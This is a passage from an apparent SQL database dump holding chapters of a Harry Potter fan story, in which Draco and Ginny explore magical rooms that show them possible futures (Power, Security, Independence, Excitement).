me the best thing in my life...&quot; She touched his hand reverently, remembering the little boy he once was and realizing this may be the last time she would see her son. Mrs. Malfoy walked to the door. &quot;It\'s your turn.&quot;</i></p>\n\n<p>It repeated in Draco\'s mind as he woke up. &quot;It\'s your turn...your turn...&quot; He sat up on the couch. He frantically searched his pockets until his fingers caught on something metallic. Pulling out the necklace, Draco flipped the simple tag over and read the inscription. &quot;Your turn.&quot; His mind flashed back to the moment when he\'d first entered the sunroom those months ago. It was the same necklace she had worn. Draco looked at the necklace, then to Ginny who was still sleeping, then back to the necklace. He decided not the think about it. Tucking it into his pocket, he stood up, picked up a towel and headed to the shower.</p>\n\n<p>Ginny\'s dreams were different from any she\'d ever had. <i>Draco</i><i> was playing with her hair, braiding it for her before bed.</i><i> With his arm around her waist, he pulled her back onto his chest, and she inhaled his scent as her head rested on his chest. She turned and put her arms around his neck as he...</i></p>\n\n<p>Draco walked out of his shower with a towel around his waist. Ginny was curled on the bed, clutching a pillow and sighing happily. Draco wondered what she could be dreaming about. Whatever it was, she sure looked cute.</p>\n\n<p><i>Draco</i><i> smiled at her as his hair fell into his eyes. He stroked her arms and cuddled her...</i></p>\n\n<p>Ginny was smiling in her sleep. Draco sat next to her on the bed. He wanted to kiss her. He wanted to feel like he had yesterday.</p>\n\n<p><i>Ginny loved the feel of his skin and the strength of his arms. Draco moved his hand down the curve in her waist. &quot;Merlin, you\'re beautiful...&quot; Draco smiled at her. Ginny blushed as his hand moved around her waist. He was going to kiss her, she knew it. Ginny relaxed and waited.</i></p>\n\n<p>Draco didn\'t know if it was wrong to kiss a girl while she was sleeping. He decided to fight his feelings and go get dressed.</p>\n\n<p>As he was about to get up, Ginny wrapped her arms around him. Pulling his head toward hers, she kissed him.</p>\n\n<p>Draco was so surprised that he didn\'t move at all at first. After a moment, he melted into the kiss. Nobody had ever made him feel the way he felt when he was kissing her.</p>\n\n<p>His kiss intoxicated her. She couldn\'t help it. She wanted... Draco moved his lips down her throat to her collarbone and across her shoulders. She whimpered a little, and her eyes fluttered open.</p>\n\n<p>Ginny screamed, hitting wildly and throwing Draco off the bed as she sat up. His towel nearly fell off from around his waist as he was propelled to the ground. His jaw hurt from where she\'d punched him, and the pure shock of it all had his chest hurting.</p>\n\n<p>Ginny yelled, &quot;What do you think you\'re doing?!&quot;</p>\n\n<p>Draco stumbled up, his hand rubbing his jaw. &quot;What do I think <i>I\'m</i> doing? You were the one who kissed me! Damn it, Weasley...&quot;</p>\n\n<p>She puffed her chest out and put her hands on her hips. &quot;I did no such thing!&quot;</p>\n\n<p>He snorted. &quot;You sure about that?&quot;</p>\n\n<p>She opened her mouth to retort, then thought about it a moment. She remembered the dream and the feel of him near her. Come to think of it...</p>\n\n<p>He hadn\'t waited for her to respond, but picked up his clothes and left for the bathroom to change. Ginny waited until he was done, then took a shower herself. Brushing her hair as she finished, she walked into the main room to find Draco still rubbing his jaw.</p>\n\n<p>&quot;Are you okay?&quot; she asked him.</p>\n\n<p>He sighed, and with a sincerity Ginny hadn\'t expected, said he\'d be fine. They eventually found their way downstairs to the main lobby where the innkeeper\'s wife had set up coffee and bagels. Ginny sat at a wooden table near the window with her coffee and waited for Draco to get his breakfast. When he sat across from her, she gave him a half smile and poured him some coffee. There was familiarity in this that Draco found comforting, and he nodded to her when his cup was full enough.</p>\n\n<p>Ginny looked out the window. &quot;I wonder what everyone at home is doing.&quot; She looked at her watch. &quot;Classes would have started by now. I hope they don\'t hold us accountable for our schoolwork when we come back.&quot; She paused. &quot;Well, I bet Snape will.&quot;</p>\n\n<p>Draco shook his head. &quot;He\'s not that bad. He gets all his test questions from \'Pretty Peculiar Potions and their Perfectly Preposterous Procedures.\' As long as you\'ve got a copy, you\'ve got it made.&quot;</p>\n\n<p>Ginny laughed and stirred some sugar into her coffee. &quot;Thanks.&quot; She looked out the window again. &quot;How are we ever going to get back to Hogwarts?&quot;</p>\n\n<p>Draco had no idea. The only thing he knew was that he hadn\'t found what he was looking for in this place just yet. He had a feeling the only way they\'d ever leave would be if he found what he came for. &quot;I don\'t know yet. I think we\'ll know when it comes.&quot;</p>\n\n<p>They finished their meal, then headed up to their room. They decided to pack up their clothing and head out for the day. When Ginny reached for her robe, she noticed an ornately decorated golden key lying on top of it.</p>\n\n<p>&quot;Malfoy?&quot; she called.</p>\n\n<p>&quot;What?&quot;</p>\n\n<p>Ginny held up the key. &quot;Is this yours?&quot;</p>\n\n<p>Draco walked closer. &quot;No, don\'t you think you would have noticed it? Then again, you are a Weasley.&quot;</p>\n\n<p>Her eyes narrowed. &quot;What\'s that supposed to mean?&quot;</p>\n\n<p>He smirked. &quot;If you don\'t know where this came from, and neither do I, why don\'t we just leave it here?&quot;</p>\n\n<p>&quot;Fine.&quot; She placed the key back on the dresser and joined him at the door. He tried the handle, but found the door was locked.</p>\n\n<p>&quot;Did you lock this?&quot;</p>\n\n<p>&quot;No... house-elves?&quot;</p>\n\n<p>He looked at the messy state of the room and seriously doubted house-elves had been there today.</p>\n\n<p>Ginny looked at the key on the dresser. &quot;Do you think it\'s a different room key than the one we got when we took the room?&quot;</p>\n\n<p>&quot;People normally don\'t give room keys that look like that.&quot; Draco picked up the key from the dresser. On one side it had a deep red stone, while the other bore a small engraving of the number sixteen. &quot;Sixteen?&quot;</p>\n\n<p>Ginny looked at the engraving. &quot;We\'re room sixteen aren\'t we? We could try the key.&quot;</p>\n\n<p>&quot;We could.&quot; They looked at each other. They were being silly. Obviously, this key was no big deal. Draco took the key and turned the lock. The door swung open.</p>\n\n<p>The hallway had vanished.</p> ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(155, 15, ' <p>Chapter 15 -The Room with Eight Doors</p>\n\n<p>Before Draco and Ginny was an octagonal, dimly lit room. On each wall was a door with an ornate golden handle and a lantern. </p>\n\n<p>Draco stepped into the scarlet carpeted room, followed by Ginny. Looking behind her, she saw that she could still go to the room at the inn, but there was no other way out than through one of these doors. Draco picked up a plain parchment tag on the door they had just come through. It read, simply, &quot;<i>The Blue Shutter Inn</i>&quot;.</p>\n\n<p>&quot;Do you have any idea what all this is about?&quot; Ginny whispered.</p>\n\n<p>Draco looked around. Bordering the ceiling across the whole room was an inscription.<i> It may surprise you, what you see, but what you choose is who you\'ll be.</i></p>\n\n<p>The moment Ginny finished reading the words they lit up. Each door now looked different. To the left of the door to the inn were three doors labeled &quot;Excitement,&quot; &quot;Fame&quot; and &quot;Love&quot;. To the right, doors were labeled in a similar fashion, reading, &quot;Security,&quot; &quot;Power&quot; and &quot;<st1:city><st1:place>Independence</st1:place></st1:city>&quot;. Directly across from the door to &quot;The Blue Shutter Inn&quot; was a plain door labeled &quot;Stairway.&quot;</p>\n\n<p>Ginny looked more concerned than before. &quot;Alright, now, in case you didn\'t hear me <i>before</i>.&quot; she looked Draco directly in the eye. &quot;Do you have any idea what this is about?&quot;</p>\n\n<p>Ginny sighed. &quot;So you were supposed to come here to find the best path for your future, and somehow I got caught here, too?&quot;</p>\n\n<p>Draco eyed her. &quot;<i>Somehow?&#8221;</i></p>\n\n<p>Ginny shrugged it off. &quot;So, anyway, the only way out of this whole place is to find what you came for.&quot; She thought a moment, repeating the inscription from the wall in her mind. &quot;\'What you choose is who you\'ll be.\' I think you have to go into those rooms and decide what you want. That\'s all that makes sense.&quot;</p>\n\n<p>Draco stood up and walked to the door. He paused. &quot;You coming?&quot;</p>\n\n<p>Ginny tilted her head to the side, wondering how she was getting involved in this. Draco motioned Ginny to the door. Thinking of nothing better to do, she followed.</p>\n\n<p>Draco stood in the middle of the room. He was to choose between six rooms: Power, Fame, <st1:city><st1:place>Independence</st1:place></st1:city>, Security, Love and Excitement.</p>\n\n<p>Ginny\'s voice came from behind him. &quot;Do you think you might get to just try things out now and choose later, or is this decision really it, that you\'re held to it?&quot;</p>\n\n<p>Draco looked over all the rooms again. A couple stood out to him, one a bit more than the others. He ignored that room and walked up to the one labeled &quot;Power&quot;. He looked back to Ginny who smiled at him reassuringly.</p>\n\n<p>He entered the room.</p>\n\n<p>&quot;White?&quot; he spoke to himself, his voice echoing through the room. In fact, the room was so blindingly white that Draco couldn\'t tell where the floor ended and the walls began. He wondered if he had made the wrong choice. Or, maybe this was all there was. He was turning to walk back out the door when he heard his own voice.</p>\n\n<p>&quot;Coming!&quot; Draco turned and noticed the room wasn\'t white any longer. He saw himself sitting in a velvet chair with a curved wooden back. He wore an expensive, heavy red robe and was currently bent over putting on his shoes. A nasal, female voice shouted from another room. The Draco in the chair scowled. &quot;Bloody hell, woman, I\'m coming!&quot; Standing up, he exited the room.</p>\n\n<p>Looking around, Draco found himself alone in the room. It was a bedroom with elegant furniture and silk drappings on a four poster bed. Draco walked up to the dresser. He recognized some of his things: a watch he had in his trunk at Hogwarts, the cologne he usually wore and one of his hair combs. He also noticed some things that definitely were not his: a heavy gold necklace, a huge bottle of a strong perfume and a bottle of hot pink nail polish.</p>\n\n<p>From the hallway, he could hear the woman speak. &quot;...Did you like your dinner, Drakkie? I put the wine in the glasses myself.&quot;</p>\n\n<p>&quot;Mhm, impressive.&quot;</p>\n\n<p>Draco moved into the room. He watched himself get up from his chair and get out his wand. Pansy looked disappointed.</p>\n\n<p>&quot;<i>Drakkie</i>!&quot; she moaned. &quot;You\'re not going to work <i>again</i> are you? Ever since Daddy gave you his share of the company, you\'re never home! You\'re <i>always</i> going to work.&quot;</p>\n\n<p>Draco shook his head to himself. Work with his father wasn\'t pleasant, but it was better than being at home. &quot;I\'ll be back later.&quot; He apparated.</p>\n\n<p>In the octagonal room, Ginny had just watched Draco enter one of the labeled rooms. She wondered what she was to do while he was gone. She could wait. Ginny looked at the daylight though the window. But how long would he be? She could try one of the rooms. They may not even open for her, but it was worth a try, wasn\'t it? She looked at the rooms again. She walked up to &quot;Security&quot; and opened the door.</p>\n\n<p>Draco saw himself in an office. A huge office. Windows spanned the entire northern wall and a navy carpet covered a space almost as large as the potions lab at Hogwarts. A rare, well-taken-care-of owl sat on a perch by an open window, and a large wooden desk stood against the adjacent wall.</p>\n\n<p>Draco was sitting in a fancy black leather chair, sorting through the stacks of papers on his desk. His secretary walked into the room, She was a leggy, conservatively dressed redhead with a clipboard full of memos from his father. Draco was a bit disturbed by the scene. She looked a little too much like Ginny. He hoped her working for him had nothing to do with the resemblance. He didn\'t take too well to the thought of being hung up on a girl like Ginny for years while married to someone else. At the desk, Draco filled out paperwork and sent several notes via owl to various branches of the company. It was pretty boring to watch until there was a knock at the door.</p>\n\n<p>Lucius dropped a foot high stack of papers onto Draco\'s desk. &quot;You need to get these files owled to McPherison <i>just </i>before tomorrow night\'s meeting. He\'s been getting too comfortable around here. Remind him that you\'re superior to him.&quot;</p>\n\n<p>&quot;Yes, father.&quot;</p>\n\n<p>&quot;And you know Connely\'s branch needs to be inspected and supervised. Fire the incompetent. I need that branch in top shape before I start sending out our more classified information.&quot;</p>\n\n<p>&quot;I know, father. I\'ll handle it.&quot;</p>\n\n<p>Lucius bore a satisfied smile. &quot;So when am I getting a grandson, Draco? It\'s been a year. You and I won\'t live forever. We need another strong Malfoy to hand this enterprise down to.&quot;</p>\n\n<p>Draco\'s eyes grew downcast. Both Lucius and Pansy were pressuring him into a son. Draco prayed that Pansy would not bear a child. He refused to see his son forced into the company, forced through life as he had been. A daughter wouldn\'t be any better. She\'d be rejected by his family because she couldn\'t be the boy Lucius wanted. &quot;I know, father.&quot; Draco wanted him to leave. &quot;I need to get to work on getting these files out.&quot;</p>\n\n<p>Lucius eyed him suspiciously. &quot;I don\'t want any trouble from you, Draco.&quot;</p>\n\n<p>Draco nodded, and his father left the room.</p>\n\n<p>At the desk, Draco slouched into his chair. He was frustrated. His father had forced him into all of this. He picked up a picture of Pansy. She was powdering her nose and flashing him a toothy smile in the photo. Draco slipped the picture from the frame to reveal the one beneath it. It was a picture of Ginny. She was sitting in an arm chair in the Gryffindor common room. She had her feet up on the chair, propping up a book and some parchment. The majority of the time she spent writing, but occasionally she\'d look up and smile at the camera. He had been trapped into this life, and now she was out of it.</p>\n\n<p>Draco watched himself stare at the picture. He had to get out of this room. &quot;Out! Enough!&quot; he shouted. The man at the desk failed to notice him, but slowly the room faded into white. Draco found the door and left.</p>\n\n<p>Ginny\'s room was white, as completely white as Draco\'s had been. Ginny took a couple of hesitant steps forward as the scene unfolded around her. Ginny gasped when she saw herself standing in front of her. She was cooking, her hair piled atop her head in a messy bun and an apron around her waist. Two young boys ran into the orange and yellow kitchen. One was pudgy, around the age of two, and the other looked as Percy had at the age of three. Ginny smiled at them and gave them juice. A voice came from the other room.</p>\n\n<p>&quot;Ginnybean, is dinner ready yet?&quot;</p>\n\n<p>Ginny watched herself stir the contents of a pot on the stove. &quot;Ten minutes,&quot; she called back.</p>\n\n<p>Watching the scene, Ginny had recognized the man\'s voice. She followed it into the other room. Neville sat reading the Daily Prophet in the den. He wore moderately priced grey robes and circular glasses which he adjusted occasionally. He still wore his ID badge from the accounting job he had just taken at the Malfoy\'s corporation. Ginny had protested his working there, but the job had been available and they had two boys at home.</p>\n\n<p>Ginny looked around the room. There was a fireplace in the center of the room, a brown couch, and a matching brown easy-chair that Neville was sitting in. Atop the mantle was an array of pictures. There was one Ginny and Neville with the two boys, one of her, Neville, Hermione, Harry, Ron and Luna, and one of just her and Neville.</p>\n\n<p>Something about the engagement photo of her and Neville seemed odd. She picked it up. Neville had his usual clumsy smile as he looked to Ginny in admiration. Ginny looked quite different. Her face looked tired and her smile a little forced. She looked down at her engagement ring, then straight at Ginny, sighing. Almost as quickly as the moment had come, it faded. Ginny looked back to Neville and resumed her smile.</p>\n\n<p>In the dining room, Ginny had put chicken and pasta on the table and called her family to dinner. Just as the family was sitting down, a knock came at the door. Ginny brushed off her apron as she walked the couple feet to the door. She was surprised to see her visitor.</p>\n\n<p>&quot;Hi, Ginny.&quot; Harry saw Neville and the children at the table. &quot;Oh, I\'m sorry, I can come back...&quot;</p>\n\n<p>Ginny beamed at him. &quot;Nonsense! Come in! I made far too much food anyhow.&quot;</p>\n\n<p>Harry joined them in the dining room.</p>\n\n<p>&quot;Are you hungry?&quot; she asked.</p>\n\n<p>Harry gave her a little smile. &quot;Have you ever known me not to be?&quot; He took a seat at the table. Seeing him had to have been the highlight of Ginny\'s day. Nothing special ever happened at the house. All Neville would talk about was his accounting and working for the Malfoys, which bothered Ginny. She had never told him what had really happened between her and Draco before she and Neville married. Ginny figured it would only make things more complicated for their marriage. Unfortunately, she still thought about him. She put that out of her mind.</p>\n\n<p>&quot;So, what brings you around here, Harry?&quot; Neville asked him. Neville still had the idea in his head that Ginny had a few lingering feelings for Harry. He had it all wrong&#8230;</p>\n\n<p>&quot;I just was in the area. Had some things I wanted to talk about.&quot; He cleared his throat. &quot;Ginny, do you have a minute?&quot;</p>\n\n<p>She noticed the serious look on his face. &quot;Of course.&quot; She turned to Neville. &quot;Can you handle the boys for a moment?&quot;</p>\n\n<p>&quot;Of course I can, I\'m their father.&quot;</p>\n\n<p>Ginny smiled nervously as she walked out of the room with Harry. &quot;Yeah, that\'s what I\'m worried about.&quot;</p>\n\n<p>They sat together on the couch. &quot;So, what\'s up?&quot;</p>\n\n<p>Harry shifted in his seat a little. &quot;I proposed to Hermione.&quot;</p>\n\n<p>Ginny\'s eyes lit up. &quot;Harry, that\'s amazing! When\'s the wedding? Why didn\'t she tell me?!&quot; Harry and Hermione had had an off and on relationship since Ginny\'s sixth year.</p>\n\n<p>Harry\'s eyes looked downcast. &quot;Probably because she said no.&quot;</p>\n\n<p>&quot;No?&quot; Ginny was shocked. &quot;No?&quot;</p>\n\n<p>&quot;It doesn\'t help to hear you say that over and over.&quot;</p>\n\n<p>Ginny still couldn\'t believe it. &quot;Are you sure? I mean, well, why not? What happened?&quot; A crash came from the kitchen that sounded like dishes breaking. Ginny winced.</p>\n\n<p>&quot;She almost left to fly to <st1:country-region><st1:place>Greece</st1:place></st1:country-region> with Andrew when I proposed...&quot; Andrew had been pursuing Hermione for the past year. &quot;...we had a fight earlier that day. She had said she didn\'t think I was ready for marriage.&quot;</p>\n\n<p>Ginny sighed. &quot;She didn\'t think you were ready to get married, so you tried to prove her wrong by proposing?&quot;</p>\n\n<p>Harry sighed. &quot;Yeah, that was the idea.&quot;</p>\n\n<p>&quot;Are you really ready? Are you sure it wasn\'t just the fight that brought this on?&quot;</p>\n\n<p>&quot;I love her, Ginny. I can\'t imagine my life without her... Or her with someone else.&quot; Harry thought it had to have been his love for Hermione that made Ginny cry, but Ginny, watching, knew better. She was living a good life, a secure life, but a life without the one thing she really needed. She loved Neville, really, truly, but she couldn\'t bear to imagine Draco with someone else. Ginny picked her head up and wiped away her tears.</p>\n\n<p>&quot;You can\'t let her go, Harry. Tell her what you told me. Tell her how you feel because if you let her go...&quot; Ginny sighed. &quot;...you\'ll never forgive yourself.&quot;</p>\n\n<p>Harry nodded. He hugged Ginny and left the house to find Hermione. Ginny watched herself cry silently as she walked into the kitchen and began picking up Neville\'s broken dishes.</p>\n\n<p>Ginny couldn\'t bear watching herself cry, so she walked into the bedroom. Her jewelry box caught her eye. She had always kept her personal things hidden there, ever since she&#8217;d received the box as a teenager. Opening one of the drawers, she found a blue velvet pouch and a fancy envelope with a green wax seal. Her name was written across the front of the envelope in nearly perfect script. Intrigued, Ginny reached to pick up the letter.</p>\n\n<p>At that moment, everything began to fade. &quot;Wait!&quot; she shouted as the letter disappeared from her hand. Ginny stood in a blank room. There was nothing left to do but leave. Disappointed, Ginny opened the door and entered the octagonal room.</p> '),
	(155, 16, ' <p>Chapter 16- The Other Man</p>\n\n<p>Ginny found herself back in the octagonal room. Everything appeared as it had before. The word &quot;Security&quot; was still written on the door of the room she had just left, and Draco was nowhere in sight. Ginny reached for the door handle to her previous room, but found it locked, so she returned to room number 16 of the Blue Shutter Inn.</p>\n\n<p>Draco was sitting on the couch with his head in his hands. Ginny frowned. What could make him so upset? She had seen him angry before, but never like this.</p>\n\n<p>She quietly came up beside him. &quot;Everything okay?&quot;</p>\n\n<p>He jumped and glared at her. &quot;Why\'d you do that?!&quot;</p>\n\n<p>She recoiled. &quot;Sorry.&quot; She settled on the edge of the bed. They sat in silence for a long time. Finally she looked at him tentatively. &quot;Are you hungry?&quot;</p>\n\n<p>He shrugged without looking up. &quot;Sort of.&quot;</p>\n\n<p>There didn\'t seem to be any food in room 16, so Ginny led him to the room labeled &quot;Stairs&quot; in the octagonal room. She tried the handle, but it was locked. Draco had no better luck.</p>\n\n<p>She turned to him, hopeless. &quot;What are we going to do?&quot;</p>\n\n<p>Draco didn\'t know. He was fairly hungry, but from the looks of it, if they couldn\'t leave, they couldn\'t get food. Rather than sit on the couch for the rest of the night, Ginny suggested they try other rooms. Draco didn\'t like that idea very much. His first room had been so negative, how could another be any better? He had been stuck with the most annoying woman he knew, in a job where he was powerful but felt like father\'s puppet, and, worse, he had feelings for Ginny. On second thought, the next room had to be better. Grudgingly, Draco followed her to the octagonal room.</p>\n\n<p>When the white of the room had faded, Ginny found she was in a hospital. Looking around, she was perplexed. Unlike her last room, Ginny wasn\'t here. The room was empty except for a hospital bed and a table. Was she dead?</p>\n\n<p>Ginny left the hospital room and walked down the hallway. She breathed a sigh of relief. There she was. Behind a desk, Ginny stood holding a clipboard and mumbling to herself as she wrote things down. She wore a typical mediwizard uniform, but she had no badge like the older mediwizard she was following did. Her mentor left the room, and Ginny followed at his heels.</p>\n\n<p>Ginny was training to become a full-fledge medic. She had helped the field medics during the war, and had chosen to follow that path since. In just six months, she\'d be ready to take a job. As she watched Ginny practice spells with the old mediwizard, she noticed that Ginny used a different wand than she had at Hogwarts. She smiled. Remembering how her wand had broken in the <st1:place><st1:placetype>forest</st1:placetype> of <st1:placename>Lyseria</st1:placename></st1:place>, Ginny assumed this new one was its replacement. Watching herself, Ginny noticed that she cast her spells on a practice ball. It would glow a golden color if the spell was cast correctly, and a reddish one if it wasn\'t. So far, Ginny was getting about two-thirds of them right. Eventually, Ginny finished her shift and was sent home.</p>\n\n<p>Arriving at home, Ginny found she lived in a cute flat in <st1:city><st1:place>London</st1:place></st1:city> with a small white cat named Violet. The place was neatly but sparsely decorated and relatively quiet. A clock ticked in the corner of the room as Ginny fixed herself a bowl of soup and settled on the couch. She looked at a picture on the wall. Her family and several of her old school friends had gathered for the picture during the holidays a few years back. Everything was so different now. Harry was in Auror training, Hermione was studying at University, and Ron had taken a job managing a Quidditch supply shop. Ginny had broken off her engagement to Neville in order to pursue her career, and he was now working in the Malfoy Corporation as an accountant while his pregnant new wife, a girl from Ravenclaw, stayed home. Colin was hired as a photojournalist for the Daily Prophet. Draco? Well, he had disappeared. Ginny hadn\'t seen him since the Graduation Ball his seventh year. He had left immediately after graduating, taking only his trunk. She had only heard from him once, in a letter.</p>\n\n<p><i>Ginny had just finished her N.E.W.T.s. Sinking into her chair, she sighed. Soon she would leave Hogwarts, and this chapter of her life would be closed. Time for her last test was called and the students dazedly left the room. Ginny made her way back to her dormitory. One of her roommates was there, sitting on her bed and reading the latest issue of Witch Weekly. She spoke when she noticed Ginny.</i></p>\n\n<p><i>&quot;Someone left a letter for you.&quot;</i></p>\n\n<p><i>On Ginny\'s bed was a parchment letter with a green wax seal. Her name was written elegantly on the front. Unfolding the heavy parchment, she began to read.</i></p>\n\n<p><i>&quot;My Dearest Ginny...&quot;</i></p>\n\n<p>Draco stood in the octagonal room. Ginny had just chosen &quot;<st1:city><st1:place>Independence</st1:place></st1:city>&quot;. Considering his options, Draco entered the room &quot;Excitement&quot;.</p>\n\n<p>The white room turned to dark shadows. Draco wore a dark overcoat that swished quietly around him when he walked. It was <st1:time minute="0" hour="4">four a.m.</st1:time> in Knockturn Alley. It definitely wasn\'t a safe place to be right then, with hooded figures whispering in corners and badly lit streets. Draco pulled his wand from his pocket and held it discreetly at his side. He stepped into the Hog\'s Head, sat at the bar and ordered himself a drink.</p>\n\n<p>&quot;Late night, Draco?&quot;</p>\n\n<p>Draco took a drink. &quot;Yeah, tracking McPherison.&quot;</p>\n\n<p>The man in the seat next to him took down his hood, and his dark, straight hair fell into his face. He was a young, Russian man with a strong chin and bold eyes. He spoke with a heavy accent. &quot;Your father protects him like a child. We won\'t have what we need from McPherison until he\'s alone.&quot;</p>\n\n<p>Draco ran a hand through his hair and ordered another drink. &quot;I know, Nicolae, in another week we\'ll have him.&quot; He sipped his new drink. &quot;Another week.&quot; </p>\n\n<p>Nicolae had come from a wizarding school in <st1:country-region><st1:place>Russia</st1:place></st1:country-region>, and had joined the Ministry in the past year. He and Draco were partners. In an attempt to lighten the mood, he changed the subject. &quot;So, I found a new girl this week.&quot;</p>\n\n<p>Draco shook his head. &quot;Another one? How do you make time for all these women?&quot;</p>\n\n<p>&quot;Oh, you don\'t understand. This one\'s different.&quot;</p>\n\n<p>Draco laughed. &quot;Sure she is.&quot;</p>\n\n<p>&quot;Oh, she is! Legs for <i>days</i>, I swear it!&quot;</p>\n\n<p>Draco had only known Nicolae for a year, and this must have been his twentieth conquest. Nicolae was a bit of a womanizer. </p>\n\n<p>&quot;All your girls do. They\'ve all got legs!&quot;</p>\n\n<p>&quot;No, this one&#8230;&quot; He groaned. &quot;This one...&quot; Nicolae took a drink and nudged Draco. &quot;...for <i>days</i>, man.&quot; Draco could tell Nicolae had been drinking too much because he followed what he had been saying with a blur of Russian, punctuated by a bunch of gestures that would have been inappropriate for mixed company. &quot;Tell you what,&quot; he slurred. &quot;I\'ll bet you five galleons that she\'ll come home with me.&quot; </p>\n\n<p>Draco shook his head. &quot;How would I know if she had?&quot;</p>\n\n<p>Nicolae thought a moment. &quot;I\'ll set you up with a girl I know, you can double with us.&quot; He tried to clear his head. &quot;If she comes home with me, five galleons. If not, I\'ll give you five.&quot;</p>\n\n<p>Draco knew he was way too drunk. &quot;I don\'t think so, mate. You\'re too schnokered right now. You don\'t know what you\'re saying.&quot;</p>\n\n<p>Nicolae smirked. &quot;You just know you\'ll lose.&quot;</p>\n\n<p>Draco took his drink from him and led him to the fireplace. &quot;Fine. We\'re on. Let\'s just get you home, all right?&quot; Draco Flooed Nicolae home, then apparated back to his flat.</p>\n\n<p><i>Ginny held her breath as she read the letter. Clutching it to her chest, she fell back onto the bed. Why now? Why couldn\'t he have sent this a year ago? Or even yesterday? Before last night, she would have had the choice. Today she was engaged and nothing could be said to change that. Well, except maybe this. But, well, she couldn\'t think about him right now.</i></p>\n\n<p><i>Ginny twisted the ring back and forth on her finger. It was simple, but nice. She needed time to think. She couldn\'t stay in her room right now. Picking up her grey cloak, she paused. She folded it and placed it back in her trunk, then picked up a familiar black one from the bottom. Throwing it over her shoulders and fastening its silver clasp, Ginny left for the castle grounds.</i></p>\n\n<p>The next night, Draco showed up at &quot;Accio!&quot;, the club Nicolae had chosen for their double date. &quot;Accio!&quot; was a novelty club where the bar and tables were charmed to float about fifteen centimeters off the ground. Draco hoped he hadn\'t arrived first. He didn\'t like clubs very much.</p>\n\n<p>Fortunately, Nicolae was there with what looked like his date. She was a brunette with pouting pink lips and a very low neckline. Her purple eye shadow matched her violet tube top and her tall black boots clung to her legs, stopping at the knee.</p>\n\n<p>Nicolae smiled. &quot;Draco, this is Paula.&quot;</p>\n\n<p>She stepped forward and reached out a hand to be kissed. &quot;A pleasure.&quot; </p>\n\n<p>Draco nodded. He expected her to go back and stand with Nicolae, but apparently, she wasn\'t planning on it. Draco leaned over and whipered to Nicolae, &quot;Isn\'t this one yours? The leggy one?&quot;</p>\n\n<p>Nicolae laughed. &quot;No, mine\'s in the bathroom. Oh wait, here she is.&quot; The woman that walked up next to Nicolae floored him. &quot;Draco, this is Ginny.&quot;</p>\n\n<p><i>Ginny went outside and circled the castle, looking for the nook she had always thought in. She slid into the niche in the stone wall. Ginny leaned her head back and closed her eyes. She knew what her life would be like with Neville. She\'d stay home to take care of their children and live a life of housework and cooking. What if she wanted to work for the Ministry or at St. Mungo\'s? Could she ever be free to do what she wanted if she married him? She knew Catherine, a girl from Ravenclaw, had been devastated when she had heard of Ginny and Neville\'s engagement. Was it fair to her or to Neville if Ginny married him out of convenience when he and Catherine could have been so happy together?</i></p>\n\n<p><i>Ginny looked at Draco\'s letter. &quot;My Dearest Ginny...&quot; Would she think about him still, even after establishing a life with Neville? She looked at the letter again. Yes, she thought of him still. She snuggled into Draco\'s cloak. Even after a year without any correspondence or hope of seeing him again, she thought of him. She knew by thinking of Draco, she would hurt Neville. Ginny left to find him.</i></p>\n\n<p>Paula smiled and shook hands with Ginny, who was paying no attention to her but stared blankly at Draco until he caught her looking at him. Quickly, she put a hand on Nicolae\'s shoulder. Nicolae grinned at her, moving his own hand from her shoulder to her waist to her-</p>\n\n<p>&quot;Nicolae!&quot; Draco snapped. Ginny looked up, stunned at his response.</p>\n\n<p>Nicolae pulled Draco aside. &quot;You all right?&quot;</p>\n\n<p>Nodding, Draco tried to shake off his feelings. &quot;Yeah, I\'m fine.&quot;</p>\n\n<p>Nicolae nudged him. &quot;Isn\'t she all I said she\'d be?&quot;</p>\n\n<p>Draco looked at Ginny again. She wore a white blouse with a short, pleated blue skirt and strappy white heels. Her hair was up in a ponytail, and she carried a blue sweater with her in case she got cold. Ginny had the sweet charm she had always had, but her eyes and the sway of her hips made her the single sexiest woman he had ever known.</p>\n\n<p>&quot;Draco?&quot;</p>\n\n<p>Draco thought back to being in the forest with her, seeing her sweet smile and...</p>\n\n<p>&quot;Hey, Draco!&quot;</p>\n\n<p>&quot;Hmm?&quot; Draco replied, still studying Ginny.</p>\n\n<p>&quot;So, what did you think of Paula?&quot;</p>\n\n<p>&quot;Paula?&quot; Draco looked confused.</p>\n\n<p>&quot;Yeah, Paula, your date. You sure you\'re okay?&quot;</p>\n\n<p>&quot;Oh, yeah.&quot; Draco turned his attention back to Nicolae. &quot;She\'s, um, fine.&quot;</p>\n\n<p>Nicolae smiled. &quot;I think she likes you.&quot;</p>\n\n<p>Draco walked back with Nicolae. Nicolae and Paula talked together while Ginny and Draco sat in relative silence. Nicolae occasionally ran a hand up Ginny\'s leg. Draco could only tell because Ginny\'s eyes would widen, and then Nicolae\'s hand would come up from under the table looking a little redder than usual. She would occasionally look at him warningly, but he didn\'t slow his advances towards her. After a while, the group left for the dance floor.</p>\n\n<p>Nicolae was very physical with Ginny while they danced, and Paula seemed to be very much like him, grinding against Draco whenever she got the chance. Nicolae started getting a little too aggressive with Ginny, so Draco cut in.</p>\n\n<p>Ginny looked worried. She kept looking back at Nicolae for a reaction. &quot;What are you doing?&quot; she asked him, almost desperately.</p>\n\n<p>&quot;I\'m cutting in.&quot; He held her softly. They danced in near silence until Draco couldn\'t help but ask the question that had raced through his head since he\'d first seen her that night. &quot;Why are you with this guy?&quot;</p>\n\n<p>&quot;This guy?&quot; she asked sarcastically. &quot;Isn\'t \'this guy\' your partner?&quot;</p>\n\n<p>Draco sneered. &quot;He\'s my assigned partner. I didn\'t choose him. Anyway, what are you doing with him?&quot;</p>\n\n<p>Ginny sighed. &quot;I met him when I was at the Ministry visiting my father. He asked for a date, that\'s all.&quot;</p>\n\n<p>&quot;He thinks he\'s taking you home tonight.&quot;</p>\n\n<p>She was fuming now. &quot;And you\'d believe a man who\'s just met me over what you know of my integrity?&quot;</p>\n\n<p>&quot;Well, I know you wouldn\'t have even dated a guy like that back when I knew you. You were with guys like Michael Corner and Dean and Seamus-&quot;</p>\n\n<p>Her hands were on her hips now. &quot;And you.&quot; He went silent. &quot;Well, did you think I\'d wait forever for you?&quot;</p>\n\n<p>He spoke quietly. &quot;I sent you a letter. You never came. I hardly think that\'s my fault.&quot;</p>\n\n<p>&quot;You waited a whole year to send it! I was engaged to Neville when I got it. I couldn\'t, I was so confused...I wasn\'t ready for another guy then.&quot;</p>\n\n<p>&quot;Even if it was me?&quot; Draco tried to mask his hurt, but she didn\'t 